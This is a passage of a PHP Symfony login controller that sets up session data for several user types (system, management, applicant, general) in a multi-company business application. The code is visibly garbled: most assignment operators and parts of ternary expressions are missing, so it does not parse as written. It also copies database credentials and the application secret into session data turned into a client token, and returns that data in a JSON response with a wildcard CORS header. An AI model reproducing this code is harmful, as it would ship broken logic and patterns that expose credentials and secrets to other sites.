  2604.                     $userEmail $user->getEmail();
  2605.                     $userImage $user->getImage();
  2606.                     $userFullName $user->getName();
  2607.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2608.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2609.                     $position_list_array json_decode($user->getPositionIds(), true);
  2610.                     if ($position_list_array == null$position_list_array = [];
  2611.                     $filtered_pos_array = [];
  2612.                     foreach ($position_list_array as $defPos)
  2613.                         if ($defPos != '' && $defPos != 0)
  2614.                             $filtered_pos_array[] = $defPos;
  2615.                     $position_list_array $filtered_pos_array;
  2616.                     if (!empty($position_list_array))
  2617.                         $curr_position_id $position_list_array[0];
  2618.                     $userDefaultRoute $user->getDefaultRoute();
  2619. //                    $userDefaultRoute = 'MATHA';
  2620.                     $allModuleAccessFlag 1;
  2621.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2622.                         $userDefaultRoute '';
  2623. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2624.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2625.                     if (isset($companyList[$userCompanyId])) {
  2626.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2627.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2628.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2629.                         $company_locale $companyList[$userCompanyId]['locale'];
  2630.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2631.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2632.                     }
  2633.                     if ($allModuleAccessFlag == 1)
  2634.                         $prohibit_list_array = [];
  2635.                     else if ($curr_position_id != 0)
  2636.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2637.                     $loginID $this->get('user_module')->addUserLoginLog(
  2638.                         $userId,
  2639.                         $request->server->get("REMOTE_ADDR"),
  2640.                         $curr_position_id
  2641.                     );
  2642.                     $appIdList json_decode($user->getUserAppIdList());
  2643.                     $branchIdList json_decode($user->getUserBranchIdList());
  2644.                     if ($branchIdList == null$branchIdList = [];
  2645.                     $branchId $user->getUserBranchId();
  2646.                     if ($appIdList == null$appIdList = [];
  2647. //
  2648. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2649. //                        $appIdList[] = $user->getUserAppId();
  2650. //
  2651. //                    foreach ($appIdList as $currAppId) {
  2652. //                        if ($currAppId == $user->getUserAppId()) {
  2653. //
  2654. //                            foreach ($company_id_list as $index_company => $company_id) {
  2655. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2656. //                                $app_company_index = $currAppId . '_' . $company_id;
  2657. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2658. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2659. //                            }
  2660. //                        } else {
  2661. //
  2662. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2663. //                                $this->getDoctrine()->getManager('company_group'),
  2664. //                                $gocEnabled,
  2665. //                                $currAppId
  2666. //                            );
  2667. //                            if (!empty($dataToConnect)) {
  2668. //                                $connector = $this->container->get('application_connector');
  2669. //                                $connector->resetConnection(
  2670. //                                    'default',
  2671. //                                    $dataToConnect['dbName'],
  2672. //                                    $dataToConnect['dbUser'],
  2673. //                                    $dataToConnect['dbPass'],
  2674. //                                    $dataToConnect['dbHost'],
  2675. //                                    $reset = true
  2676. //                                );
  2677. //                                $em = $this->getDoctrine()->getManager();
  2678. //
  2679. //                                $companyList = Company::getCompanyListWithImage($em);
  2680. //                                foreach ($companyList as $c => $dta) {
  2681. //                                    //                                $company_id_list[]=$c;
  2682. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2683. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2684. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2685. //                                    $app_company_index = $currAppId . '_' . $c;
  2686. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2687. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2688. //                                }
  2689. //                            }
  2690. //                        }
  2691. //                    }
  2692.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2693.                     // General User
  2694.                     $employeeId 0;
  2695.                     $currentMonthHolidayList = [];
  2696.                     $currentHolidayCalendarId 0;
  2697.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2698.                         ->findOneBy(
  2699.                             array(
  2700.                                 'userId' => $user->getUserId()
  2701.                             )
  2702.                         );
  2703.                     if ($employeeObj) {
  2704.                         $employeeId $employeeObj->getEmployeeId();
  2705.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2706.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2707.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2708.                     }
  2709.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2710.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2711.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2712.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2713.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2714.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2715.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2716.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2717.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2718.                     $session->set(UserConstants::USER_NAME$user->getName());
  2719.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2720.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2721.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2722.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2723.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2724.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2725.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2726.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2727.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2728.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2729.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2730.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2731.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2732.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2733.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2734.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2735.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2736.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2737.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2738.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2739.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2740.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2741.                         return $this->redirectToRoute("user_login_position");
  2742.                     } else {
  2743.                         $PL json_decode($user->getPositionIds(), true);
  2744.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2745.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2746.                         $loginID $this->get('user_module')->addUserLoginLog(
  2747.                             $session->get(UserConstants::USER_ID),
  2748.                             $request->server->get("REMOTE_ADDR"),
  2749.                             $PL[0]
  2750.                         );
  2751.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2752.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2753.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2754.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2755.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2756.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2757.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2758.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2759.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2760.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2761.                         $appIdList json_decode($user->getUserAppIdList());
  2762.                         if ($appIdList == null$appIdList = [];
  2763.                         $companyIdListByAppId = [];
  2764.                         $companyNameListByAppId = [];
  2765.                         $companyImageListByAppId = [];
  2766.                         if (!in_array($user->getUserAppId(), $appIdList))
  2767.                             $appIdList[] = $user->getUserAppId();
  2768.                         foreach ($appIdList as $currAppId) {
  2769.                             if ($currAppId == $user->getUserAppId()) {
  2770.                                 foreach ($company_id_list as $index_company => $company_id) {
  2771.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2772.                                     $app_company_index $currAppId '_' $company_id;
  2773.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2774.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2775.                                 }
  2776.                             } else {
  2777.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2778.                                     $this->getDoctrine()->getManager('company_group'),
  2779.                                     $gocEnabled,
  2780.                                     $currAppId
  2781.                                 );
  2782.                                 if (!empty($dataToConnect)) {
  2783.                                     $connector $this->container->get('application_connector');
  2784.                                     $connector->resetConnection(
  2785.                                         'default',
  2786.                                         $dataToConnect['dbName'],
  2787.                                         $dataToConnect['dbUser'],
  2788.                                         $dataToConnect['dbPass'],
  2789.                                         $dataToConnect['dbHost'],
  2790.                                         $reset true
  2791.                                     );
  2792.                                     $em $this->getDoctrine()->getManager();
  2793.                                     $companyList Company::getCompanyListWithImage($em);
  2794.                                     foreach ($companyList as $c => $dta) {
  2795.                                         //                                $company_id_list[]=$c;
  2796.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2797.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2798.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2799.                                         $app_company_index $currAppId '_' $c;
  2800.                                         $company_locale $companyList[$c]['locale'];
  2801.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2802.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2803.                                     }
  2804.                                 }
  2805.                             }
  2806.                         }
  2807.                         $session->set('appIdList'$appIdList);
  2808.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2809.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2810.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2811.                         $branchIdList json_decode($user->getUserBranchIdList());
  2812.                         $branchId $user->getUserBranchId();
  2813.                         $session->set('branchIdList'$branchIdList);
  2814.                         $session->set('branchId'$branchId);
  2815.                         if ($user->getAllModuleAccessFlag() == 1)
  2816.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2817.                         else
  2818.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2819.                         $session_data = array(
  2820.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2821.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2822.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2823.                             'oAuthToken' => $session->get('oAuthToken'),
  2824.                             'locale' => $session->get('locale'),
  2825.                             'firebaseToken' => $session->get('firebaseToken'),
  2826.                             'token' => $session->get('token'),
  2827.                             'firstLogin' => $firstLogin,
  2828.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2829.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2830.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2831.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2832.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2833.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2834.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2835.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2836.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2837.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2838.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2839.                             'oAuthImage' => $session->get('oAuthImage'),
  2840.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2841.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2842.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2843.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2844.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2845.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2846.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2847.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2848.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2849.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2850.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2851.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2852.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2853.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2854.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2855.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2856.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2857.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2858.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2859.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2860.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2861.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2862.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2863.                             //new
  2864.                             'appIdList' => $session->get('appIdList'),
  2865.                             'branchIdList' => $session->get('branchIdList'null),
  2866.                             'branchId' => $session->get('branchId'null),
  2867.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2868.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2869.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2870.                         );
  2871.                         $session_data $this->filterClientSessionData($session_data);
  2872.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2873.                         $session_data $tokenData['sessionData'];
  2874.                         $token $tokenData['token'];
  2875.                         $session->set('token'$token);
  2876.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2877.                             $session->set('remoteVerified'1);
  2878.                             $response = new JsonResponse(array(
  2879.                                 'uid' => $session->get(UserConstants::USER_ID),
  2880.                                 'session' => $session,
  2881.                                 'token' => $token,
  2882.                                 'success' => true,
  2883.                                 'session_data' => $session_data,
  2884.                             ));
  2885.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2886.                             return $response;
  2887.                         }
  2888.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2889.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2890.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2891.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2892.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2893.                                     return $this->redirect($red);
  2894.                                 }
  2895.                             } else {
  2896.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2897.                             }
  2898.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2899.                             return $this->redirectToRoute("dashboard");
  2900.                         else
  2901.                             return $this->redirectToRoute($user->getDefaultRoute());
  2902. //                        if ($request->server->has("HTTP_REFERER")) {
  2903. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2904. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2905. //                            }
  2906. //                        }
  2907. //
  2908. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2909. //                        if ($request->request->has('referer_path')) {
  2910. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2911. //                                return $this->redirect($request->request->get('referer_path'));
  2912. //                            }
  2913. //                        }
  2914. //                        //                    if($request->request->has('gocId')
  2915. //
  2916. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2917. //                            return $this->redirectToRoute("dashboard");
  2918. //                        else
  2919. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2920.                     }
  2921.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2922.                     $applicantId $user->getApplicantId();
  2923.                     $userId $user->getApplicantId();
  2924.                     $globalId $user->getApplicantId();
  2925.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2926.                     $isConsultant $user->getIsConsultant() == 0;
  2927.                     $isRetailer $user->getIsRetailer() == 0;
  2928.                     $retailerLevel $user->getRetailerLevel() == 0;
  2929.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2930.                     $isModerator $user->getIsModerator() == 0;
  2931.                     $isAdmin $user->getIsAdmin() == 0;
  2932.                     $userEmail $user->getOauthEmail();
  2933.                     $userImage $user->getImage();
  2934.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2935.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2936.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2937.                     $buddybeeBalance $user->getAccountBalance();
  2938.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2939.                     $userDefaultRoute 'applicant_dashboard';
  2940. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2941.                     $userAppIds = [];
  2942.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2943.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2944.                     if ($userAppIds == null$userAppIds = [];
  2945.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2946.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2947.                     foreach ($userTypesByAppIds as $aid => $accData)
  2948.                         if (in_array($aid$userSuspendedAppIds))
  2949.                             unset($userTypesByAppIds[$aid]);
  2950.                         else
  2951.                             $userAppIds[] = $aid;
  2952. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2953.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2954.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2955.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2956.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2957.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2958.                     $loginID MiscActions::addEntityUserLoginLog(
  2959.                         $em_goc,
  2960.                         $userId,
  2961.                         $applicantId,
  2962.                         1,
  2963.                         $request->server->get("REMOTE_ADDR"),
  2964.                         0,
  2965.                         $request->request->get('deviceId'''),
  2966.                         $request->request->get('oAuthToken'''),
  2967.                         $request->request->get('oAuthType'''),
  2968.                         $request->request->get('locale'''),
  2969.                         $request->request->get('firebaseToken''')
  2970.                     );
  2971.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2972.                     // General User
  2973.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2974.                         ->findOneBy(
  2975.                             array(
  2976.                                 'userId' => $user->getUserId()
  2977.                             )
  2978.                         );
  2979.                     if ($employeeObj) {
  2980.                         $employeeId $employeeObj->getEmployeeId();
  2981.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2982.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2983.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2984.                     }
  2985.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2986.                         ->findOneBy(
  2987.                             array(
  2988.                                 'userId' => $user->getUserId(),
  2989.                                 'workingStatus' => 1
  2990.                             )
  2991.                         );
  2992.                     if ($currentTask) {
  2993.                         $currentTaskId $currentTask->getId();
  2994.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2995.                     }
  2996.                     $userId $user->getUserId();
  2997.                     $userCompanyId 1;
  2998.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2999.                     $userEmail $user->getEmail();
  3000.                     $userImage $user->getImage();
  3001.                     $userFullName $user->getName();
  3002.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3003.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3004.                     $position_list_array json_decode($user->getPositionIds(), true);
  3005.                     if ($position_list_array == null$position_list_array = [];
  3006.                     $filtered_pos_array = [];
  3007.                     foreach ($position_list_array as $defPos)
  3008.                         if ($defPos != '' && $defPos != 0)
  3009.                             $filtered_pos_array[] = $defPos;
  3010.                     $position_list_array $filtered_pos_array;
  3011.                     if (!empty($position_list_array))
  3012.                         foreach ($position_list_array as $defPos)
  3013.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3014.                                 $curr_position_id $defPos;
  3015.                             }
  3016.                     $userDefaultRoute $user->getDefaultRoute();
  3017.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3018.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3019.                         $userDefaultRoute 'user_default_page';
  3020.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3021.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3022.                     if (isset($companyList[$userCompanyId])) {
  3023.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3024.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3025.                         $company_locale $companyList[$userCompanyId]['locale'];
  3026.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3027.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3028.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3029.                     }
  3030.                     if ($allModuleAccessFlag == 1)
  3031.                         $prohibit_list_array = [];
  3032.                     else
  3033.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3034.                     $loginID $this->get('user_module')->addUserLoginLog(
  3035.                         $userId,
  3036.                         $request->server->get("REMOTE_ADDR"),
  3037.                         $curr_position_id
  3038.                     );
  3039.                     $appIdList json_decode($user->getUserAppIdList());
  3040.                     $branchIdList json_decode($user->getUserBranchIdList());
  3041.                     if ($branchIdList == null$branchIdList = [];
  3042.                     $branchId $user->getUserBranchId();
  3043.                     if ($appIdList == null$appIdList = [];
  3044.                     if (!in_array($user->getUserAppId(), $appIdList))
  3045.                         $appIdList[] = $user->getUserAppId();
  3046.                     foreach ($appIdList as $currAppId) {
  3047.                         if ($currAppId == $user->getUserAppId()) {
  3048.                             foreach ($company_id_list as $index_company => $company_id) {
  3049.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3050.                                 $app_company_index $currAppId '_' $company_id;
  3051.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3052.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3053.                             }
  3054.                         } else {
  3055.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3056.                                 $this->getDoctrine()->getManager('company_group'),
  3057.                                 $gocEnabled,
  3058.                                 $currAppId
  3059.                             );
  3060.                             if (!empty($dataToConnect)) {
  3061.                                 $connector $this->container->get('application_connector');
  3062.                                 $connector->resetConnection(
  3063.                                     'default',
  3064.                                     $dataToConnect['dbName'],
  3065.                                     $dataToConnect['dbUser'],
  3066.                                     $dataToConnect['dbPass'],
  3067.                                     $dataToConnect['dbHost'],
  3068.                                     $reset true
  3069.                                 );
  3070.                                 $em $this->getDoctrine()->getManager();
  3071.                                 $companyList Company::getCompanyListWithImage($em);
  3072.                                 foreach ($companyList as $c => $dta) {
  3073.                                     //                                $company_id_list[]=$c;
  3074.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3075.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3076.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3077.                                     $app_company_index $currAppId '_' $c;
  3078.                                     $company_locale $companyList[$c]['locale'];
  3079.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3080.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3081.                                 }
  3082.                             }
  3083.                         }
  3084.                     }
  3085.                     if (count($position_list_array) > 1) {
  3086.                         $userForcedRoute 'user_login_position';
  3087. //                        return $this->redirectToRoute("user_login_position");
  3088.                     } else {
  3089.                     }
  3090.                 } else {
  3091.                     $isEmailVerified 1;
  3092.                 }
  3093.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3094.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3095.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3096.                 ) {
  3097.                     $session_data = array(
  3098.                         UserConstants::USER_ID => $userId,
  3099.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3100.                         UserConstants::APPLICANT_ID => $applicantId,
  3101.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3102.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3103.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3104.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3105.                         UserConstants::SUPPLIER_ID => $supplierId,
  3106.                         UserConstants::CLIENT_ID => $clientId,
  3107.                         UserConstants::USER_TYPE => $userType,
  3108.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3109.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3110.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3111.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3112.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3113.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3114.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3115.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3116.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3117.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3118.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
